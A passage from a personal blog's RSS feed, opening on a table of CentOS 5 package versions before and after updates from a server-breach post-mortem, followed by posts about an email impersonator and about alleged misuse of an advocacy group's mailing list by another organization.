<tr>
<td>libselinux-devel</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libselinux-python</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libselinux-utils</td>
<td>1.33.4-5.5.el5</td>
<td>1.33.4-5.7.el5</td>
</tr>
<tr>
<td>libsmbclient</td>
<td>3.0.33-3.29.el5_5.1</td>
<td>3.0.33-3.29.el5_7.4</td>
</tr>
<tr>
<td>libstdc++</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libstdc++-devel</td>
<td>4.1.2-48.el5</td>
<td>4.1.2-51.el5</td>
</tr>
<tr>
<td>libsysfs</td>
<td>2.0.0-6</td>
<td>2.1.0-1.el5</td>
</tr>
<tr>
<td>libtiff</td>
<td>3.8.2-7.el5_5.5</td>
<td>3.8.2-7.el5_6.7</td>
</tr>
<tr>
<td>libuser</td>
<td>0.54.7-2.1.el5_4.1</td>
<td>0.54.7-2.1.el5_5.2</td>
</tr>
<tr>
<td>libvolume_id</td>
<td>095-14.21.el5_5.1</td>
<td>095-14.27.el5</td>
</tr>
<tr>
<td>libxml2</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>libxml2-devel</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>libxml2-python</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>logrotate</td>
<td>3.7.4-9.el5_5.2</td>
<td>3.7.4-12</td>
</tr>
<tr>
<td>logwatch</td>
<td>7.3-8.el5</td>
<td>7.3-9.el5_6</td>
</tr>
<tr>
<td>m2crypto</td>
<td>0.16-6.el5.6</td>
<td>0.16-8.el5</td>
</tr>
<tr>
<td>man</td>
<td>1.6d-1.1</td>
<td>1.6d-2.el5</td>
</tr>
<tr>
<td>man-pages</td>
<td>2.39-15.el5_4</td>
<td>2.39-17.el5</td>
</tr>
<tr>
<td>mkinitrd</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>mod_ssl</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>mysql</td>
<td>5.0.77-4.el5_5.4</td>
<td>5.0.77-4.el5_6.6</td>
</tr>
<tr>
<td>mysql-server</td>
<td>5.0.77-4.el5_5.4</td>
<td>5.0.77-4.el5_6.6</td>
</tr>
<tr>
<td>nash</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>net-snmp-libs</td>
<td>5.3.2.2-9.el5_5.1</td>
<td>5.3.2.2-14.el5_7.1</td>
</tr>
<tr>
<td>nscd</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>nspr</td>
<td>4.8.6-1.el5_5</td>
<td>4.8.8-1.el5_7</td>
</tr>
<tr>
<td>nss</td>
<td>3.12.8-1.el5.centos</td>
<td>3.12.10-4.el5.centos</td>
</tr>
<tr>
<td>nss_ldap</td>
<td>253-25.el5</td>
<td>253-42.el5</td>
</tr>
<tr>
<td>openldap</td>
<td>2.3.43-12.el5_5.3</td>
<td>2.3.43-12.el5_6.7</td>
</tr>
<tr>
<td>openldap-devel</td>
<td>2.3.43-12.el5_5.3</td>
<td>2.3.43-12.el5_6.7</td>
</tr>
<tr>
<td>openssh</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssh-clients</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssh-server</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssl</td>
<td>0.9.8e-12.el5_5.7</td>
<td>0.9.8e-20.el5</td>
</tr>
<tr>
<td>openssl-devel</td>
<td>0.9.8e-12.el5_5.7</td>
<td>0.9.8e-20.el5</td>
</tr>
<tr>
<td>openvpn</td>
<td>2.1.4-1.el5.rf</td>
<td>2.2.0-3.el5.rf</td>
</tr>
<tr>
<td>pango</td>
<td>1.14.9-8.el5.centos</td>
<td>1.14.9-8.el5.centos.2</td>
</tr>
<tr>
<td>passwd</td>
<td>0.73-1</td>
<td>0.73-2</td>
</tr>
<tr>
<td>patch</td>
<td>2.5.4-29.2.3.el5</td>
<td>2.5.4-31.el5</td>
</tr>
<tr>
<td>pciutils</td>
<td>2.2.3-8.el5_4</td>
<td>3.1.7-3.el5</td>
</tr>
<tr>
<td>pcre</td>
<td>6.6-2.el5_1.7</td>
<td>6.6-6.el5_6.1</td>
</tr>
<tr>
<td>perl</td>
<td>5.8.8-32.el5_5.2</td>
<td>5.8.8-32.el5_6.3</td>
</tr>
<tr>
<td>perl-Authen-SASL</td>
<td>2.15-1</td>
<td>2.15-1.el5.rf</td>
</tr>
<tr>
<td>perl-Class-Data-Inheritable</td>
<td>0.08-1</td>
<td>0.08-1.el5.rf</td>
</tr>
<tr>
<td>perl-DateTime</td>
<td>0.4305-1.el5.rf</td>
<td>0.5300-2.el5.rf</td>
</tr>
<tr>
<td>perl-Devel-PPPort</td>
<td>3.19_02</td>
<td>3.20</td>
</tr>
<tr>
<td>perl-Digest-SHA</td>
<td>5.48-1.el5.rf</td>
<td>5.50-1.el5.rf</td>
</tr>
<tr>
<td>perl-ExtUtils-MakeMaker</td>
<td>6.57_01</td>
<td>6.59</td>
</tr>
<tr>
<td>perl-GD</td>
<td>2.44-1.el5.rf</td>
<td>2.45-1.el5.rf</td>
</tr>
<tr>
<td>perl-JSON</td>
<td>2.17-1.el5.rf</td>
<td>2.50-1.el5.rf</td>
</tr>
<tr>
<td>perl-Lingua-EN-Inflect-Number</td>
<td>1.1-1</td>
<td>1.1-1.el5.rf</td>
</tr>
<tr>
<td>perl-MailTools</td>
<td>2.07-1.el5.rf</td>
<td>2.08-1.el5.rf</td>
</tr>
<tr>
<td>perl-NetAddr-IP</td>
<td>4.037-1.el5.rf</td>
<td>4.044-1.el5.rf</td>
</tr>
<tr>
<td>perl-Parse-RecDescent</td>
<td>1.965.1-1.el5.rf</td>
<td>1.965.1-2.el5.rf</td>
</tr>
<tr>
<td>perl-Pod-Simple</td>
<td>3.15-1.el5.rf</td>
<td>3.16-1.el5.rf</td>
</tr>
<tr>
<td>perl-Test-Pod</td>
<td>1.44-1.el5.rf</td>
<td>1.45-1.el5.rf</td>
</tr>
<tr>
<td>perl-Text-CSV</td>
<td>1.13-1.el5.rf</td>
<td>1.21-1.el5.rf</td>
</tr>
<tr>
<td>perl-Text-CSV_XS</td>
<td>0.71-1.el5.rf</td>
<td>0.80-1.el5.rf</td>
</tr>
<tr>
<td>perl-Time-Local</td>
<td>1.1901-1.el5.rf</td>
<td>1.2000-1.el5.rf</td>
</tr>
<tr>
<td>perl-WWW-Mechanize</td>
<td>1.56-1.el5.rf</td>
<td>1.66-1.el5.rf</td>
</tr>
<tr>
<td>perl-XSLoader</td>
<td>0.10</td>
<td>0.15</td>
</tr>
<tr>
<td>perl-suidperl</td>
<td>5.8.8-32.el5_5.2</td>
<td>5.8.8-32.el5_6.3</td>
</tr>
<tr>
<td>perl-version</td>
<td>0.86-1.el5.rf</td>
<td>0.91-1.el5.rf</td>
</tr>
<tr>
<td>popt</td>
<td>1.10.2.3-20.el5_5.1</td>
<td>1.10.2.3-22.el5</td>
</tr>
<tr>
<td>postgresql</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-contrib</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-devel</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-libs</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-pl</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-python</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-server</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-tcl</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-test</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>procps</td>
<td>3.2.7-16.el5</td>
<td>3.2.7-17.el5</td>
</tr>
<tr>
<td>psmisc</td>
<td>22.2-7</td>
<td>22.2-7.el5_6.2</td>
</tr>
<tr>
<td>pyOpenSSL</td>
<td>0.6-1.p24.7.2.2</td>
<td>0.6-2.el5</td>
</tr>
<tr>
<td>python</td>
<td>2.4.3-27.el5_5.3</td>
<td>2.4.3-44.el5</td>
</tr>
<tr>
<td>python-devel</td>
<td>2.4.3-27.el5_5.3</td>
<td>2.4.3-44.el5</td>
</tr>
<tr>
<td>python-urlgrabber</td>
<td>3.1.0-5.el5</td>
<td>3.1.0-6.el5</td>
</tr>
<tr>
<td>rpm</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-build</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-libs</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-python</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>ruby</td>
<td>1.8.5-5.el5_4.8</td>
<td>1.8.5-19.el5_6.1</td>
</tr>
<tr>
<td>ruby-libs</td>
<td>1.8.5-5.el5_4.8</td>
<td>1.8.5-19.el5_6.1</td>
</tr>
<tr>
<td>samba-common</td>
<td>3.0.33-3.29.el5_5.1</td>
<td>3.0.33-3.29.el5_7.4</td>
</tr>
<tr>
<td>screen</td>
<td>4.0.3-1.el5_4.1</td>
<td>4.0.3-4.el5</td>
</tr>
<tr>
<td>sed</td>
<td>4.1.5-5.fc6</td>
<td>4.1.5-8.el5</td>
</tr>
<tr>
<td>sendmail</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>sendmail-cf</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>sendmail-devel</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>shadow-utils</td>
<td>4.0.17-15.el5</td>
<td>4.0.17-18.el5_6.1</td>
</tr>
<tr>
<td>sudo</td>
<td>1.7.2p1-9.el5_5</td>
<td>1.7.2p1-10.el5</td>
</tr>
<tr>
<td>talk</td>
<td>0.17-29.2.2</td>
<td>0.17-31.el5</td>
</tr>
<tr>
<td>tmpwatch</td>
<td>2.9.7-1.1.el5.2</td>
<td>2.9.7-1.1.el5.5</td>
</tr>
<tr>
<td>traceroute</td>
<td>2.0.1-5.el5</td>
<td>2.0.1-6.el5</td>
</tr>
<tr>
<td>tzdata</td>
<td>2010l-1.el5</td>
<td>2011h-2.el5</td>
</tr>
<tr>
<td>util-linux</td>
<td>2.13-0.52.el5_4.1</td>
<td>2.13-0.56.el5</td>
</tr>
<tr>
<td>vim-common</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vim-enhanced</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vim-minimal</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vnc-server</td>
<td>4.1.2-14.el5_5.4</td>
<td>4.1.2-14.el5_6.6</td>
</tr>
<tr>
<td>vsftpd</td>
<td>2.0.5-16.el5_5.1</td>
<td>2.0.5-21.el5</td>
</tr>
<tr>
<td>xinetd</td>
<td>2.3.14-10.el5</td>
<td>2.3.14-13.el5</td>
</tr>
<tr>
<td>xorg-x11-font-utils</td>
<td>7.1-2</td>
<td>7.1-3</td>
</tr>
<tr>
<td>xorg-x11-xfs</td>
<td>1.0.2-4</td>
<td>1.0.2-5.el5_6.1</td>
</tr>
<tr>
<td>yum</td>
<td>3.2.22-26.el5.centos</td>
<td>3.2.22-37.el5.centos</td>
</tr>
<tr>
<td>yum-fastestmirror</td>
<td>1.1.16-14.el5.centos.1</td>
<td>1.1.16-16.el5.centos</td>
</tr>
<tr>
<td>yum-utils</td>
<td>1.1.16-14.el5.centos.1</td>
<td>1.1.16-16.el5.centos</td>
</tr>
<tr>
<td>zlib</td>
<td>1.2.3-3</td>
<td>1.2.3-4.el5</td>
</tr>
<tr>
<td>zlib-devel</td>
<td>1.2.3-3</td>
<td>1.2.3-4.el5</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
			<item>
		<title>Email identity thief strikes again</title>
		<link>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/</link>
		<comments>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 16:49:51 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[email identity thief]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2373</guid>
		<description><![CDATA[This time, my email identity thief created an account using my email address at support.mozilla.com. I received email from the site in French asking me to confirm my email address. I&#8217;ve reset the password on the account to prevent him from using it, but I can&#8217;t log into the account to see what profile information [...]]]></description>
			<content:encoded><![CDATA[<p>This time, my <a href="http://blog.kamens.us/tag/email-identity-thief/">email identity thief</a> created an account using my email address at <a href="http://support.mozilla.com/" target="_blank">support.mozilla.com</a>. I received email from the site in French asking me to confirm my email address.</p>
<p>I&#8217;ve reset the password on the account to prevent him from using it, but I can&#8217;t log into the account to see what profile information he specified or what he did on the site, because the site provides no way to recover a lost username. I&#8217;ve contacted <a href="mailto:webmaster@mozilla.com" target="_blank">webmaster@mozilla.com</a> and asked them to provide me with the username as well as information from their logs about who created this account.</p>
<p>They&#8217;re a bit more likely to be willing to help then Skype, given that (a) they&#8217;re a collaborative, open-source organization and (b) I have an ongoing relationship with Mozilla, having submitted several core and Thunderbird patches and been <a href="http://blog.mozilla.com/meeting-notes/archives/date/2010/07" target="_blank">nominated</a> as a <a href="https://developer.mozilla.org/en/Glossary#FotT" target="_blank">&#8220;Friend of the Tree&#8221;</a>.</p>
<p>I&#8217;ve asked them at the very least, if they&#8217;re unwilling or unable to provide me with the username, to delete the account, since I don&#8217;t want accounts created by other people using my email address on sites all over the internet.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
			<item>
		<title>IMPORTANT UPDATE on Brave New Foundation and Nation of Change</title>
		<link>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/</link>
		<comments>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 20:30:49 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Brave New Foundation]]></category>
		<category><![CDATA[Nation of Change]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2342</guid>
		<description><![CDATA[I wrote several days ago about spam I received from Nation of Change at an email address which had previously only been shared with Brave New Foundation. Earlier today, I wrote about Nation of Change apparently attempting to cover their tracks after their unauthorized use of email addresses was discovered and reported by me. I [...]]]></description>
			<content:encoded><![CDATA[<p>I <a title="“Nation of Change”, who are you and why are you spamming me?" href="http://blog.kamens.us/2011/07/28/nation-of-change-who-are-you-and-why-are-you-spamming-me/">wrote several days ago</a> about spam I received from Nation of Change at an email address which had previously only been shared with Brave New Foundation. Earlier today, I <a title="Nation of Change trying to cover their tracks?" href="http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/">wrote</a> about Nation of Change apparently attempting to cover their tracks after their unauthorized use of email addresses was discovered and reported by me.</p>
<p>I have been in conversation about this with a high-level employee at Brave New Foundation, and I am now able to report the following important information:</p>
<ul>
<li>Brave New Foundation does not sell, share or rent their email lists.</li>
<li>There is a Brave New Foundation employee with access to their lists who has a relative who works for Nation of Change.</li>
<li>Brave New Foundation believes that this Nation of Change employee made unauthorized use of his/her relative&#8217;s access to copy an as yet undetermined subset of Brave New Foundation&#8217;s email lists for Nation of Change&#8217;s use.</li>
<li>Brave New Foundation does not believe its employee was complicit in this unauthorized access. In fact, s/he was unaware that it had occurred until I brought it to Brave New Foundation&#8217;s attention.</li>
<li>Brave New Foundation considers this breach of their data to be extremely serious, and they are actively investigating it.</li>
<li>Brave New Foundation is considering legal action against Nation of Change both to prevent any further use of the copied email addresses and to obtain financial compensation for the damage to Brave New Foundation&#8217;s reputation and the time and resources spend investigating this incident.</li>
</ul>
<p>All of this information, as well as some additional off-the-record supporting information that I cannot report here, was provided to me directly by an employee of Brave New Foundation. I have no reason to believe that employee is lying, and what s/he told me is consistent with my suspicions and impressions about Nation of Change. However, in the spirit of full disclosure, I want to be clear that I have not seen any hard evidence supporting any of Brave New Foundation&#8217;s allegations against Nation of Change.</p>
<p>When you combine these new allegations against Nation of Change with all the other issues I raised in my <a title="“Nation of Change”, who are you and why are you spamming me?" href="http://blog.kamens.us/2011/07/28/nation-of-change-who-are-you-and-why-are-you-spamming-me/">first posting about them</a>, it seems doubtful that this is an organization which deserves anyone&#8217;s support.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

